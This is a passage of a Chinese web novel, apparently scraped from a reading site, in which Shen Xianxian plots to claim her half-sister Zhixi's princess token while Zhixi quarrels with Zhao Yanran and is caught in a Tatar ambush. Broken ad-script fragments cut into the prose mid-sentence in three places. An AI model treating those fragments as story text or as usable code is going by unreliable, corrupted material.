徐钰道,“自然,不过当年服侍过兴佑帝的那位太医已经出宫,我已拜托谢琅去请他。一旦找到,我便能让他配出药来为你恢复容貌。” “孩子,你且回去等消息。这几日我便会想办法助你恢复公主身份,并找太医配出治疗疤痕的药来。” 一连串的好消息将知慈冲击得说不出话来。 因容貌不佳,知慈自小便受到过很多冷眼和非议,一直以来她都很渴望能去除脸上的疤痕,恢复正常的容貌,如今徐钰突然承诺她可以做到,这让知慈心里意外而喜悦。 此外,上午被吴姑娘扇脸却不能反抗的事正让知慈屈辱不已;而转眼徐钰便告诉自己,她比吴姑娘身份更高贵,假如真有一天皇室将她认回,以公主的权势磋磨吴姑娘便如碾死蚂蚁般简单。 知慈觉得徐钰简直像菩萨化身,自己想要什么,徐钰就许诺实现什么。 一直到徐钰送她出门,准备回家时,知慈才对方才发生的一切稍微有了些实感。 29. 同门 与此同时,路府。 路茂枝心血来潮,强迫沈纤纤服食寒食散,为引开路茂枝的注意力,沈纤纤忙指着寒食散下面垫着的一堆纸张问他来历。 “……哦?你对这些感兴趣?那是我在宗人府的朋友给我的,说圣上正在寻找先皇之女。” 路茂枝继续道,“据说起因是前些日子兴佑帝在鞑靼卧床不起,给国内发来了一封信,说自己命不久矣,如今唯一愿望是让自己流落民间的独生女能认祖归宗。可惜他自己也糊涂,只知对方母亲是北风城人,当年送过她一枚金如意,是兴佑元年孙巧工制作的御制金器。” 路茂枝又道,“嘉平帝读完信后,连夜召孙巧工回忆并绘制当年制作的金如意样式。并当即下发给宗人府,要求他们尽快按线索找到公主行踪;又召集一批太监宫女清点皇家名下值钱的商铺地皮,只待寻回公主后赐予她最尊贵的身份和财产。” 沈纤纤怀疑道,“这些机要你怎会知道?” 路茂枝道,“都是公开的,皇帝陛下认为消息传得越开,找到公主的几率便越大。因而还命人特地绘制了一批金如意的结构图,散发给朝臣们以求寻得线索。” “不过我倒觉得,知道消息的人越多,遇到骗子的可能性便越大啊。”说到这,他像是药瘾犯了,咯咯笑了起来。 沈纤纤心不在焉听着,她对这种遥不可及之事不感兴趣。此刻她一心牵挂着自己的心事,犹豫了半晌,还是开口道,“茂枝,跟你说个事。” 路茂枝仍然维持着笑嘻嘻的神色,看着有些疯癫。 “我怀孕了。”沈纤纤深吸一口气,开口道。 路茂枝手支着下颌,沉醉在寒食散的余韵中,半晌,他反应过来,“你怀孕了?” 沈纤纤点头。 路茂枝立刻神色清明了几分,道,“我哥说我娶妻之前不能有孩子,你快打掉。” 得到和自己预料一样的回答,沈纤纤十分失望,道,“这是你亲生的孩子,路茂枝,你忍心吗?” 路茂枝不耐烦同沈纤纤纠缠,道,“孩子你爱留就留,但路府不会认的,只有正妻才能生长子,这是族里的规矩。” 说到这里,路茂枝只觉麻烦无比,连吃寒食散的兴致都没了,端起瓷碗藏在袖中,起身要离开沈纤纤的厢房。 迈出厢房前,路茂枝脚步一顿,道,“对了,你最好出府去堕胎,否则我哥嫂若听说这出,对你我都没有好处。” 路茂枝走后,屋中安静下来。沈纤纤失魂落魄坐到塌上,疲惫地趴在几案的一堆宣纸上。 她费劲心思向上爬,只为摘得荣华富贵。可眼下,她并没有获得她想要的尊重,反而被路茂枝当成了玩物。 缓了半晌,沈纤纤撑起身。她无意识扫过身下的纸张,路茂枝方才走时,没有把这些公文带走。 沈纤纤被纸上内容吸引住了。 纸张正中,是一幅金如意的白描图,右侧则是附注的公文,标明现有的线索: 公主流落民间,图中金如意是证明其身份的唯一信物。此外,公主母亲姓周,北风城人,但由于三年前北风城沦陷,当地人口大量流动,目前已经无法寻得任何线索。 周氏?读到这里,沈纤纤心中一动,她的母亲就姓周。一个荒谬的念头划过她脑海,她连忙又去仔细看那幅金如意的白描图。 端详之下,沈纤纤才发现这幅白描图上,金如意繁复的纹路被详尽描绘出来,栩栩如生。 沈纤纤越看越眼熟,这东西、这东西……她好像有一件一模一样的。那件金如意,还是当年从北风城出逃时,知慈为了让她振作送给她的。 她连忙去翻柜子,和知慈闹翻之后,她便把知慈送她的金如意扔在了箱底,再没拿出来把玩过。 沈纤纤翻了半晌,终于找到。她把金如意捧在手心,仔细端详着手中金如意,最终确认它的花纹细节和白描图上一模一样。 周氏的女儿……拥有金如意……两桩线索联系在一次,沈纤纤心脏狂跳。 自己是公主?……不,不对,沈纤纤又想起一件事:过往沈父对自己很疼爱、对知慈很冷淡,如果知慈不是爹爹亲生的,而是母亲和他人私通所生,那一切就能说通了。 知慈才是流落民间的公主。 想清这一点,沈纤纤心中顿感不是滋味。 她与知慈虽然闹掰了,但并没盼着知慈倒霉,偶尔想起知慈离开路府要养加上赵晏然两个人,她反而有点怜悯,觉得知慈可怜,暗自希望她日子没那么艰难。 但沈纤纤希望知慈过得好,却并不代表能接受知慈过得比自己好。知慈长得不如自己,从小就不如自己受欢迎,沈纤纤理所应当认为知慈过得应该比她低一等。 可如今自己把日子过成这副凄惨模样,还推远了自己喜欢的赵晏然;而知慈如今非但看着和赵晏然关系走得很近,还突然成了金尊玉贵的公主。说不在乎那是不可能的。 凭什么?她沈知慈凭什么压过自己! 等等…… 沈纤纤福至心灵。她突然想到,金如意现在在自己身上。爹娘已经死了,没有人证,真相还不是她说什么便是什么? 想到这里,沈纤纤连忙重新阅读了一遍宣纸,以确定自己的想法。只见上面除了周氏和金如意白描图之外,没有任何其他线索。 沈纤纤拿定了主意,没有人能阻止她往上爬。 她喊道,“小鹃!小鹃!走,咱们出门。” 被唤作小鹃的婢女进了屋,“姑娘,咱们去哪?” 沈纤纤将公文和金如意一并仔细装好,交给了小鹃,又对她道,“你先去把这东西交给宗人府,他们看后自会有人跟进处理。然后再去孙记医馆寻我。” 小鹃道,“姑娘,你去医馆做什么……不会是……” 沈纤纤点点头,“就是你想的那样,路茂枝那个混蛋,他不要这个孩子。” 小鹃皱眉,不敢相信二少爷竟如此凉薄,“好,姑娘,奴婢这就出发。” - 枣花街天字院。 沈纤纤突如其来的造访令赵晏然情绪不佳。 毕竟是自己曾有过好感的女孩,赵晏然选择相信了沈纤纤口中的苦衷。但人与人相处需要缘分,陪自己度过最艰难时刻的人不是她,因此即便得知她没有背叛,赵晏然心中也没再升起半点波澜。 但令赵晏然真正感到冒犯的,是沈纤纤一副理所当然的口气问自己为何不再喜欢她。 赵晏然极度骄傲,因此完全无法忍受沈纤纤摊牌她早知自己对她有意思,这无异于从前把他当傻子玩弄。 她以为她是谁?人人都得围着她转? 他心中憋着火,恰巧这时大门被人敲响,赵晏然回过神,起身去开门。 门外站着两个身着道袍的弟子,打头的正是周师兄。 只见周师兄还未开口,他身后青年便抱臂冷笑一声,“小子,半年不见,连句师兄都不叫了?” 赵晏然瞥了对方一眼,冷冷道,“你如今是掌门座下首席弟子,不在上清山上执牛耳,千里迢迢跑京城来做什么?” 原来青年正是赵晏然瘫痪后,取而代之成为掌门亲传弟子的诸葛真。 诸葛真道,“掌门特派我来探望你。本以为经此一遭你的性格会有所收敛,但谁知你这张嘴巴和从前一样刻薄。真是江山易改本性难移。” 诸葛真嘴巴不饶人,但并未说出他来此的真正理由。 诸葛真多年来一直是上清山年轻一辈中的佼佼者,打遍同辈无敌手。 而赵晏然比他小好几岁,且刚入门时武功底子薄弱,所以诸葛真前几年根本没把他放在眼里。 但谁知赵晏然天赋异禀,进步神速,只短短几年的时间便冒出了头,在各种同门切磋之中将他压着打,成为上清乃至全武林不世出的天才。 眼看掌门把所有的资源分给赵晏然,诸葛真心里极度不平衡:优秀的人都骄傲无比,谁会甘居人下? 但就在诸葛真郁郁不得志之时,事情却出现了转机,赵晏然意外瘫痪的消息传回上清,掌门当即放弃了赵晏然,钦点他成为了新的首席弟子。 诸葛真虽然对赵晏然的遭遇有几分唏嘘,但作为既得利益者,他还是暗自高兴了好几回。 但谁知没高兴几日,赵晏然身体恢复的消息又 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 传回了门派。诸葛真慌了,因为掌门只论强弱,不念情分。他既然能立刻拿下瘫痪的赵晏然,那便同样可以再度放弃自己。 果不其然,接下来几天,诸葛真发现掌门同他说话时总爱皱着眉沉思,显然是在估量什么。 诸葛真内心饱受折磨,又对目前的情况毫无把握。于是前几日掌门要挑个弟子下山探望赵晏然时,诸葛真不顾他人看笑话的目光,主动请缨。 掌门萧云意味深长看着他,半晌道,“你去吧。” 诸葛真见掌门一副高高在上的模样,心中敢怒不敢言,暗骂掌门无情无义,只把徒弟当工具利用。此刻他毫无愧疚便罢了,有什么资格摆出一副看透自己心思的模样? 诸葛真领命下山,一路风尘仆仆,他暗自希望赵晏然瘫痪病好的事是假的,但此刻赵晏然站在自己面前,依然摆着从前那副欠打的臭脸,诸葛真最后的期望也破灭了。 诸葛真故作不经意道,“你既然病好了,怎么还不回门派?” 赵晏然没回答他,只是嗤笑一声,撇过脸去。 见师弟不把自己当回事,诸葛真有些恼火,“不是,你装什么——” 旁边,周师兄见二人气氛极僵,连忙打圆场,道,“都是同门,吵什么吵,都和气点。” 诸葛真心道不该和这小子一般见识,于是径自坐了下来,端起茶壶给自己倒了一杯冷茶。 赵晏然则坐到诸葛真对面,道,“师兄,半年不见,你怎还开始打扮自己,别上香囊了?” 诸葛真硬邦邦道,“不关你事。” 一旁周师兄补充道,“你不知道,诸葛师弟心里头还惦记着几年前来上清做客的那位沈纤纤姑娘呢。前些日子他扫除客房时翻出了当年那姑娘忘记带走的香囊,便配到了腰间,你说他是不是自作多情——” 诸葛真怒声打断,“你闭嘴。” 诸葛真确实一直惦记着沈纤纤。当年沈纤纤来上清做客时,诸葛真便将她对赵晏然格外偏爱看在眼里,他心中嫉恨不已,所以自然不愿在对方面前暴露自己的心事。 而另一边,赵晏然听见沈纤纤的名字,又想起方才沈纤纤主动上门一事。 虽然方才他与沈纤纤闹得很不愉快,但看到单相思的诸葛真,再联想到沈纤纤方才小心翼翼想同自己修复关系,赵晏然还是不由自主心下暗爽,仿佛无形中压了诸葛真一头。 诸葛真欲盖弥彰解释道,“我听说纤纤回北风城后不久,北风城便发生了战乱。我挂着她的香囊,只出于上清弟子怜悯苍生的门训,想为她祈福,没别的意思。” 周师兄并不买账,继续逗他道,“你接触过的北风城女孩又不只她一个,怎么不见你给其他姑娘祈福?比如那个……春儿,她不是对你一直有意思吗?还有小芬,每次上山都要找你搭话。” 诸葛真被周师兄的话绕了进去,嗤声道,“那都是些什么歪瓜裂枣,我和她们说话的欲望都没有。若谁喜欢我就得给她祈福,那我浑身上下岂不得挂满香囊?” 诸葛真见周师兄没完没了打趣他,有些不耐烦,于是转移话题问赵晏然,“小子,听周师兄说你重病期间,一直有个女孩在照顾你,她什么身份?不会是你相好吧?” 诸葛真正好看到身前石桌上有张女子的画像,便瞄了两眼。那画像中的女子身姿虽美,但面有长疤,贯穿面部让她彻底破相,容貌可憎。 就这长相换做是他,倒追都不乐意。 诸葛真用幸灾乐祸的语气道,“她就是你相好啊?” 想到赵晏然找的女伴这副模样,诸葛真从进门起脸上便挥之不去的抑郁和失望此刻一扫而空,取而代之的是扬眉吐气的神情。 赵晏然本想说是,可他看见诸葛真脸上写满‘你怎么混成了这样’,一个‘是’字就这样卡在了赵晏然喉咙里。 也许是不想在对手面前丢了面子,也许是因为觉得知慈拿不出手,鬼使神差地,赵晏然迎着对方戏谑的眼神道,“不是,只是普通朋友。” 赵晏然话音落下,然而令所有人始料未及的是,院门突然被砰的一声打开,知慈站在门外,不可置信又伤心地道,“普通朋友?” 30. 争吵 知慈离开徐府后,脑子里一直在思索徐钰告知她的消息。 然而,当她马上到家时,隔着院墙却听见赵晏然同周师兄和另一陌生男子说话。 知慈猜测应是赵晏然的同门,于是放缓了脚步。 她听见对方提到了沈纤纤,随后又提起了自己,语气很不尊重。知慈听得心里不舒服,暗自希望赵晏然能在同门面前维护自己。 但赵晏然居然否认了和自己的关系,一瞬间知慈失望透顶。她骤然推开院门,屋内三人均朝她看去。 诸葛真见来人竟是画像中人,脸上慌乱一闪而逝,但随即便摆出一副“你奈我何”的无赖模样,佯作无事发生。 周师兄略带尴尬开口,“知慈,好久不见。” 知慈微微颔首,眼睛紧盯着赵晏然。想从他的神情中找出半点其他情绪,却一无所获。 赵晏然避过她的视线,唇角紧绷,一言不发,没有丝毫解释的意思。 周师兄眼见事态变成这样,心中自己同诸葛真不能再留。于是忙道,“晏然,知慈,天色已晚,我和阿真便不打扰了。”说罢他抱歉看了知慈一眼,率先离去。 诸葛真闻言也立刻跟随周师兄抬腿便走,看也不看知慈。 就在他走到门口与知慈擦肩而过时,知慈突然开口,“慢着。” 诸葛真停下,皱着眉,略带防备地看向知慈。 知慈转头,冲他露出一个笑,“还没自我介绍呢,我便是方才赵晏然口中的普通朋友。另外,我还是沈纤纤的亲妹妹。” 这下诸葛真愣住了,“你说你是谁?” 知慈没接他的话,自顾自道,“我姐姐从上清回来后提起过你。可惜,她明确同我说过她对你没意思,你可知为何?” 诸葛真不说话,却竖耳想知道答案。 知慈语气转冷,“她说她不喜欢没爹没娘的孤儿,不知廉耻没教养。” 沈纤纤从未与她谈论过上清的弟子,这话完全是知慈瞎编的。 诸葛真慢了半拍才反应过来知慈在骂他,不由大怒,下意识便想教训知慈。 几乎同时,赵晏然上前一步将知慈护在身后,而诸葛真也被周师兄抓住胳膊。 周师兄道,“阿真,我同你说过多少遍不要背后说人?本就是你有错在先,别再丢人现眼了。” 诸葛真挣扎了一下,没挣脱开周师兄的钳制,又瞥了一眼赵晏然,明白他在场自己动手也占不到便宜,再加上自知理亏,只好认下这口气,对周师兄道,“我们走。” 周师兄和诸葛真离开后,院内只剩二人。 赵晏然还维持着刚才挡在知慈身前的姿势。但此刻知慈已不再需要他的保护。 她走到院内石桌前坐下,开口道,“你为什么说我只是普通朋友。” 赵晏然背对着她,没有说话。 知慈道,“说啊!” 赵晏然还是不理她。 于是知慈又站起身走到赵晏然前面,把院门关上,随即转身与赵晏然面对面,“你不说,这事今天没完。我倒真没想到,你还有这么一面——” “——因为我觉得你拿不出手。”赵晏然忍无可忍,开口道。 院内安静了。 “……你说什么?” “我说你拿不出手,”真实想法说出口后,赵晏然反而觉得没什么难以启齿了,“你长得不够好看,又没有过人之处,我把你介绍给我师兄弟,只会让他们看我笑话。” 直白刺耳的答案让知慈说不出话来。 她深深呼出一口气,道,“你既然嫌弃我,又何必同我在一起?” 赵晏然张了张嘴,明显滞了一下。但对上知慈咄咄逼人的眼神,他又立刻移开眼,硬着声道,“因为我无所事事,总要找些打发时间的调剂。” “你这……你这混蛋!”知慈无论如何,没想到赵晏然会说出这样的话来。她觉得自己一片真心全被喂了狗。 “那你、那你以为自己又好到哪去?”知慈勉强找回理智,“没有我,你现在还是个残废在床上躺着呢,那时你就能被同门看得起了?凭你那脆弱的自尊心,恐怕现在已经不知自杀几回吧。” 知慈反应过来,开始找赵晏然的痛点回击。 “你知道你当时嚎啕大哭的样子有多窝囊吗?现在你倒知道在乎面子了。” 只见赵晏然果然勃然色变,像被戳到了心窝子。 知慈见状,十分解恨:这混蛋还真把同她在一起当成消遣了?别开玩笑了! 面对知慈的言语攻击,赵晏然的反应甚至比她想得还要强烈,他脸色变得煞白,嘴唇颤抖,似乎想要回击,却找不到任何有力的词汇。 就在二人之间气氛剑拔弩张之时,院外突然传来敲门声。 一女子在院外唤道,“赵公子,不好了!赵公子,你快开门!” 赵晏然绕开知慈去开门,只见一位身着路府服饰的婢女站在门口,“赵公子,你快随我来医馆,纤纤姑娘她刚打了胎,大出血。” 赵晏然皱眉道,“路茂枝呢?” 婢女道,“二少爷不管她,连打胎都让她自己去府外找医馆,纤纤姑娘她眼看着快不行了。” 知慈旁听两人对话,又惊又怒,“你什么时候和沈纤纤联系上的?” 赵晏然道,“不关你事。” “不关我事?你明明和我在一起了,为什么她还来找你?” 随即知慈想起,沈纤纤白天问酒楼伙计要自家地址,恐怕便打得是接触赵晏然的主意。 想到上午时自己还天真地抱有侥幸心理,以为沈纤纤是为了同自己和好,知慈伤心极了。 这时,沈纤纤的婢女插嘴道,“赵公子,别耽搁了,姑娘等不得。” 知慈气急攻心,对那婢女骂道,“你真是个忠心奴才,鞍前马后替你主子掺和别人感情!” 婢女被怼,没有回话,撇了撇嘴。 随即知慈又对赵晏然道,“不许去!” 可赵晏然只对知慈露出一个冷笑,“我想去哪,还需要听你的?” 强烈的不安和被背叛感灼烧着知慈的心,“可你要见的是沈纤纤!她就那么好,让你念念不忘?” 赵晏然背对着她,嗤笑一声,“是啊,她美丽高贵,你哪里比得上。” 这话就像一把尖刀,狠狠扎在知慈心上。 果然如此,他终于说出了心里话!他真正喜欢的只有沈纤纤,而自己不过是他低谷期打发时间的消遣。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 赵晏然头也不回走了。 院内就剩下知慈一个人,她手脚冰凉,身体微微发抖。 知慈觉得自己像个笑话。她想起前些日子的追月节,那时氛围正好,她等待着赵晏然为自己戴上项链。可下一刻,知慈看到他的动作顿住了。 那一瞬间的犹豫令知慈心凉。即使后来二人在一起了,她也忍不住反复猜疑,那时他在犹豫什么?是没那么情愿选择自己,还是想起了别人? 其实知慈心里早有答案,当初在路府,赵晏然的目光便一直落在沈纤纤身上。若不是沈纤纤不要他,他又怎会选择自己呢? 知慈心里一直不想承认,但又不得不承认: 对赵晏然来说,自己不过是退而求其次的将就,而沈纤纤才是他唯一的心上人。 - 失望之下,知慈不想再和赵晏然有任何瓜葛。她开始收拾自己的行李,趁着夜色离开了赵晏然的家。 知慈离开枣花街,一路行至官署大道。 天色已深,四周灯火通明,周围官署不少下衙的官员三五成群前往街边饭馆酒楼用餐,热闹非凡。 知慈走进一家客栈,付了银两,打算在此暂住一夜。 于她来说,目前有件更重要的事,那便是等待徐钰的消息。徐钰告诉她,会助她恢复容貌和身份。 知安置好行李,来到一楼简单用了顿饭。 正值饭点,客栈一楼已经坐了不少食客。知慈刚刚落座,便见隔壁桌一位官吏模样的年轻人和同伴道,“你们吃吧,我得回衙门了。” 同伴道,“怎么了?今日你值夜?” 那官吏道,“临时来了活。有人给宗人府送来了公主的信物,这次竟然是真品。” 同伴来了兴趣道,“哦?对方什么身份?” 官吏道,“来人是路府的婢女,说是她家姑娘让送来的。” 同伴道,“路府?路繁叶家吗?原主是路家的小姐?” 官吏道,“不,原主姓沈,叫沈纤纤。应该是路府的家眷。” 一旁的知慈听见沈纤纤的名字,有些意外。她竖起耳朵继续听。 同伴道,“你说,这次会是真正的公主吗?” 官吏道,“不好说,还需要验证,但她手里的金如意保真,上面有‘兴佑御制’的纹样,做不了假。” 知慈闻言,心头巨震,大脑飞快思考。 官吏言语之间透露朝廷现在也正在寻找公主,而刻有‘兴佑御制’纹样的金如意,便是证明公主身份的重要信物。 这样的金如意,母亲的确曾经给过自己一块,后来被自己转赠给了沈纤纤。 但母亲的临终嘱托中却并未提及此物;而下午在徐钰府上时,徐钰似乎也并不知道金如意的存在。 知慈只疑惑一瞬,便想明白了:兴佑帝并未告诉徐钰与母亲相处的全部细节,而母亲死前嘱托很仓促,有所疏漏也在情理之中。 可是眼下,沈纤纤竟擅自将自己的金如意送到掌管皇室宗谱的宗人府,她想做什么? 经历过沈纤纤私下找赵晏然一事,知慈再不会天真地相信沈纤纤是想帮她。 自己的姐姐向来不择手段,这么做,恐怕是想顶替自己的公主身份。 31. 惊变 这个想法一冒出来,知慈便觉得又委屈又生气。 当初的自己是因为在乎沈纤纤,才将最喜欢的金如意送给她。即使如今她们闹掰了,她也不能做出这种事啊。 从小到大,沈纤纤一直压自己一头,凡有好事必然是沈纤纤先挑、然后才轮到自己。知慈虽然偶尔会艳羡嫉妒,却从没做过对不起姐姐的事。 可如今自己好不容易获得了一份有价值的资源,沈纤纤为何立刻就要抢走? 除了想抢走公主身份,沈纤纤还瞒着自己去找了赵晏然……想起赵晏然,知慈又开始气血翻涌。 赵晏然瘫痪时,沈纤纤立刻甩甩袖子走人;等自己付出心血救回了赵晏然,她又回来摘桃子。 而更可气的是,即使沈纤纤这样对他,赵晏然依旧抛下自己头也不回去寻沈纤纤。简直就是忘恩负义,狼心狗肺! 亏自己当初忍着剧痛剜心头血给他喝,她真后悔,就该让这负心郎死了算了! 然而这个念头刚一冒出来,知慈便感到眼前发黑,随即一种刺骨的疼痛钻入她心中,就像当初给赵晏然剜心头血的那种痛感。 心口传来的疼痛让她如同溺水,她的耳朵充斥着耳鸣声,周围的声音也变得遥远。 知慈只得尽力平稳呼吸,等待这一波又一波的疼痛过去。 当她终于渐渐恢复正常时,已经不知道过去了多久,旁边那一桌官吏都已经离去了。 知慈坐在饭桌前喘息,自从给赵晏然换完心头血,她头一次经历这种异常。 方才那种心悸和剜心的疼痛令她后怕无比,她立刻想起当初剜心头血前孙芳姑对她的警告: 孙芳姑说,一旦后悔剜血,献血者就会被反噬,日日受心痛折磨。 现在她确实后悔了。她恨自己有眼无珠,救了这个白眼狼。 难道以后自己真的日日要在不时发作的心绞痛中生活?想到这里,知慈有些不甘。 她立刻决定动身前青牛观,想去询问孙芳姑此刻境遇是否有补救之法。 于是知慈趁着夜色,动身出发前往郊外。 - 与此同时,锦衣卫北镇抚司,谢琅等人面色凝重地交谈着。 自白巾教徒落网之后,以白巾教主为首的高层便一直被关押在锦衣卫北镇抚司审讯。严刑拷打下,高层们断断续续吐露了一些机密。 谢琅等官员派人依照供词追查,却越查水越深。白巾教背后利益关系盘根错节,来往对象中不乏像孟强这样投机的谢国官员。 为了让犯人们吐露更多的秘密,官吏们的手段也愈发残酷。 片刻之前,在大理寺卿的残酷刑罚面前,白云真人的心理防线终于彻底崩溃,说出了白巾教最后的秘密。 ——原来,白巾教幕后最大的资助人竟是鞑靼王室。 多年来鞑靼人一直暗中支持白巾教挑动谢国内斗,瓦解谢国朝廷对地方的控制力。而鞑靼人这么做的最终目的只有一个,便是挥师南下,向谢国发动战争。 亲耳听到这个消息,众人勃然色变。鞑靼蓄谋已久,一旦兴兵,谢国很有可能被打个措手不及。何况谢国国内投机分子众多,恐怕已向鞑靼人贩卖了不少谢国机密。 而接下来白巾教主的话也佐证了这一点。他说鞑靼人曾透露,他们已经规划出了不惊扰各方便能直抵谢国京城的行军路线。 也就是说,谢国的首都早已暴露在鞑靼大军的攻击范围内,随时都有可能遭遇危险。 确认了白巾教主所说属实后,一众官员立刻面色凝重商讨方案。 由于事态紧急,众人决定立刻汇报圣上,与此同时调令京郊戍卫营立刻进入警备状态。 但京郊戍卫营唯有皇家腰牌才能紧急调动,在场众人中只有谢琅有此权力。 于是谢琅亲自领了几个锦衣卫,动身出发前往京郊。 谢琅等人一路骑马飞驰,很快出了京城。快经过青牛观时,谢琅瞥见夜色之中,青牛观前亮着一豆灯火。 只见一个女子提着灯笼站在观门前,像在等人。这女子他认识,是知慈。 出于好心,谢琅放缓马速,随即遥遥对知慈喊道,“知慈,现下城外不太平,切勿在此处逗留,马上回城。” 青牛观前,提灯而立的女子正是知慈。 片刻前,她抵达了青牛观,青牛观观门虚掩,知慈进去找了一圈也没有找到孙芳姑,只得回到观门口等她回来。 随即知慈听见有人呼喊她的名字,她抬眼望了过去,不知发生了什么事。 而另一边,谢琅前方下属突然声音紧绷提示道,“殿下!”随即抽出长刀。 只见前方官道上,一队人马身着夜行衣,悄无声息向他们方向前行。 锦衣卫一出声拔刀,对方便知暴露,用鞑靼语和同伴说了一句话,便领着同伴拔刀向他们冲杀而来。 谢琅心头惊疑不定,对面是鞑靼人? 对方大约数十人,谢琅判断他们是鞑靼派出的先锋部队。先锋在此,后方大部队想必离得不远。 但他们前脚刚审讯出白巾教和鞑靼人勾结的确凿证据,后脚鞑靼人便已经到达了京郊?这来得也太快了些。 来不及思索更多,锦衣卫们已策马将谢琅护在身后,“殿下,您保护好自己,敌我人数悬殊,属下们恐怕没法护住您。” 谢琅点头,自己不会武功,留在此处只会是负累。 他策马掉头,准备回城。转身时,谢琅见知慈站在青牛观门口惶惶然望着眼前的变故,心知她留在此地凶多吉少。 只一瞬间,谢琅便做出决定。他冲知慈伸出手,示意她上马,“走!” 然而下一刻,远处射来一枝流矢,贯穿谢琅□□的马身,马儿嘶鸣一声,轰然倒地。 谢琅滚落在地,回头便见锦衣卫们已经与对面的鞑靼士兵缠斗在一起。官道远处,一个鞑靼弓箭手拉满了弓,箭尖对准了他。 鞑靼人箭矢射出。谢琅在地上滚了一圈躲开了箭矢,随即爬起身立刻向青牛观大门方向跑去,以寻求遮蔽。 知慈见谢琅向她跑来,瞬间会意,青牛观内遮蔽物众多,从正门进入侧门绕出即能躲开追杀。 知慈立刻去推身后青牛 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 观大门。大门虚掩着,知慈一推便开了。 二人一前一后向院内跑去,左拐右拐,终于抵达侧门。但下一刻,知慈便看到院外有另一拨鞑靼人握着火把梭巡。 知慈心里一沉,立刻折返。 但与此同时,与锦衣卫缠斗的鞑靼先锋人数众多,锦衣卫未能尽数拦下。部分鞑靼士兵紧随谢琅追进了观中,要将他们赶尽杀绝。 前有巡逻队,后有追兵。情急之下,知慈拉着谢琅钻入侧门旁边的屋中。 那屋子是孙芳姑的起居书房,知慈曾经来过一次。屋里有间贴满镜子的地下室,知慈想带谢琅到地下室中躲藏片刻,避过鞑靼人的搜查后再离去。 二人爬进窖井进入地下室,一关上窖门,知慈眼前立刻变得漆黑。 密室内没有点灯,知慈刚走了两步便撞到了一个坚硬如石的物体上。知慈摸索半晌,反应过来那是无生老母的雕像。 “别动了。”谢琅悄声道。两人停下来,在黑暗中呼吸相闻,十分紧张。 时间一点点过去,不知过了多久,知慈突然听见头顶斜上方,有脚步声踩着地板,嘎吱嘎吱进了屋。随即头顶传来叮咣的打砸声。 鞑靼兵没找到他们,竟然在观内地毯式搜查,把观中的每个房间都毫无遗漏地排查了一遍。 脚步声越来越近,知慈只觉心脏都快要跳到嗓子眼了。 然而就在脚步声即将来到窖井正上方时,屋外传来另一士兵的声音,二人用鞑靼语交流了片刻,随即脚步声离去。 知慈紧绷的神经稍稍松懈下来。 然而下一瞬间,黑暗的地下室上方突然窖门被开,出现光源,一张高鼻深目的异族人面孔从窖井中探出了头,竟是鞑靼士兵点燃火折子去而复返。 这样的突袭将知慈魂都吓掉了一半,只见那鞑靼人看见了二人,狞笑一声。扭头大声冲屋外说了一句鞑靼语。 随即,鞑靼人狠狠将火折子掷入了窖井之中,竟想将二人活活烧死。 火折子在地下室空中划过一道痕迹,点亮了整个地下室。 地下室被孙芳姑贴满了镜子,中间又摆着一尊无生老母的雕像,本就古怪无比。火折子划过的一瞬,镜面折射的无限空间被映照得深远无比,仿佛直通天庭和地府。更显得诡异。 居于密室正中的无生老母雕像,在火光的映照之下,其手中八卦盘也开始散发出妖异的橙红光芒。 接下来,诡异的事情发生了,火焰仿佛有了生命,犹如一根燃烧的绳索无限延伸,缠绕住了地下室上方表情狰狞的鞑靼士兵,那士兵哀嚎一声,全身都燃起了火焰,渐渐散发出皮肉烤熟的焦味,没了生息。 而地下室内,火折子落在地上,轰地变为熊熊燃烧的火焰,在镜中折射出的无限空间中仿佛无边业火。空间正中,无生老母的雕像眉眼低垂,无悲无喜。 妖异的火焰燃烧着,知慈皮肤灼痛、意识模糊,奋力想向外逃。但她发现自己身处于镜子延伸的无限空间,无论如何都找不到出口。 知慈的五感在痛楚中渐渐消失,随即,她陷入了沉沉的黑暗中。 32. 后悔 与此同时,京城。 赵晏然心急如焚寻找着知慈的踪迹。 下午他因为拒绝向同门承认知慈的身份,与知慈大吵一架。 其实他知道自己理亏,可知慈再怎么生气,也不该拿自己卧床那段痛苦经历,作为攻击自己的把柄。 因为知慈的每一句话都说中了他的心事。一直以来,赵晏然远比知慈更加相信,抛除他的武功和外形,自己就一无所有了。 瘫痪的时日是他最恐惧、最不堪回首的经历,周围人的反应印证了只要他躺在床上失去价值,那么所有人就都会离他而去。 那时知慈是唯一没有抛下他的人,对于赵晏然来知慈就像他精神世界的最后一根救命稻草。所以赵晏然理所当然认为,知慈会懂自己。即使自己错了,惹她生气,她也会体谅自己,不拿那段经历说事。 可方才与知慈吵架时,知慈毫不留情将自己瘫痪自杀一事作为攻击把柄,让赵晏然瞬间感到极度委屈和挫败。 他真蠢,他就不该对她抱有幻想。 就在这时,沈纤纤的婢女突然找上门。赵晏然感到莫名其妙,在他看来他与沈纤纤的关系早已生疏;何况沈纤纤已和路茂枝在一起,他不明白为什么她有事非要来找自己。 但知慈却立刻跳出来阻拦,虚张声势的威胁暴露了她内心的慌乱不安。一瞬间赵晏然占尽了上风,他看穿了知慈,看穿她很在意自己同别人走的近。 赵晏然心中升起一种残忍的快意,知慈拿他最狼狈的事往他心口扎刀,那他也要加倍奉还。知慈越怕什么,他就越要做什么。 她怕自己喜欢沈纤纤,那他就要告诉她,她根本比不上沈纤纤;她不想让他去见沈纤纤,那他就偏要见。 他要让知慈知道他没那么在乎她,更不是非她不可。 于是赵晏然头也不回随婢女去见了沈纤纤。 他来到孙记医馆,医馆内,沈纤纤躺在床上,见到赵晏然,情绪很激动。 她气若游丝,眼含泪花,“晏然,你真得来了。我知道这么做不合适,可最疼的时候,我想见的只有你。” 赵晏然敷衍应了一声,脑海中却依然惦记着临走时知慈伤心又愤恨的眼神。 另一边,沈纤纤低声幽幽道,“从前我一直没告诉你,其实我这辈子喜欢过的男子只有你。” 沈纤纤的话赵晏然听见了,可他心里没有产生半分波动。 若是换做半年前听到沈纤纤诉衷情,赵晏然一定会暗自兴奋。 可此刻他却觉得无趣极了。 他忍不住心想:若这些话是知慈说的该多好。 